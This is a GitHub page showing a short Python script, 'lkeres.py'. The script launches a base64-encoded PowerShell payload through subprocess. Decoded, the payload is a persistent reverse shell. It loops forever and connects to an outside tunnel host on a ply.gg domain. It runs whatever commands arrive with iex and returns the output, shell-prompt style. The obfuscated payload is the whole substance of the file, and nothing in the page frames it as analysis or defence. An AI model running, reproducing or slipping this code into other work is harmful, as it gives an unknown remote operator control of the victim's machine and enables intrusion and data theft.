-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathlkeres.py
15 lines (8 loc) · 4.94 KB
/
lkeres.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import subprocess
ps_command = ''' CgBmAHUAbgBjAHQAaQBvAG4AIABTAHQAYQByAHQALQBQAGUAcgBzAGkAcwB0AGUAbgB0AEMAbwBtAG0AYQBuAGQAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAFUAbgBpAHEAdQBlAEkAZABlAG4AdABpAGYAaQBlAHIALAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABTAGUAcgB2AGUAcgBBAGQAZAByAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBpAG4AdABdACQAUABvAHIAdABOAHUAbQBiAGUAcgAKACAAIAAgACAAKQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABtAHUAdABlAHgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABoAHIAZQBhAGQAaQBuAGcALgBNAHUAdABlAHgAKAAkAGYAYQBsAHMAZQAsACAAJABVAG4AaQBxAHUAZQBJAGQAZQBuAHQAaQBmAGkAZQByACkACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG0AdQB0AGUAeAAuAFcAYQBpAHQATwBuAGUAKAAwACwAIAAkAGYAYQBsAHMAZQApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAcwBSAHUAbgBuAGkAbgBnACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACIAcABvAHcAZQByAHMAaABlAGwAbAAiACAALQBFAHIAcgBvAHIAQQB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QAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQAgAC0AbABlACAAMAApACAAewAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGQAYQB0AGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABpACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgA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ZwAuACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAACgAgACAAIAAgAH0ACgB9AAoAUwB0AGEAcgB0AC0AUABlAHIAcwBpAHMAdABlAG4AdABDAG8AbQBtAGEAbgBkACAALQBVAG4AaQBxAHUAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAIgBLAGUAcgBlAHMAIgAgAC0AUwBlAHIAdgBlAHIAQQBkAGQAcgBlAHMAcwAgACIAcgBlAHQAdQByAG4AcwAtAGcAbwB2AGUAcgBuAGkAbgBnAC4AZwBsAC4AYQB0AC4AcABsAHkALgBnAGcAIgAgAC0AUABvAHIAdABOAHUAbQBiAGUAcgAgADMAMwA5ADIANQAKAA=='''
command=f'''pwsh -EncodedCommand {ps_command}
'''
try:
subprocess.run(command, shell=True, check=True)
except subprocess.CalledProcessError as e:
print("Error executing PowerShell command:", e)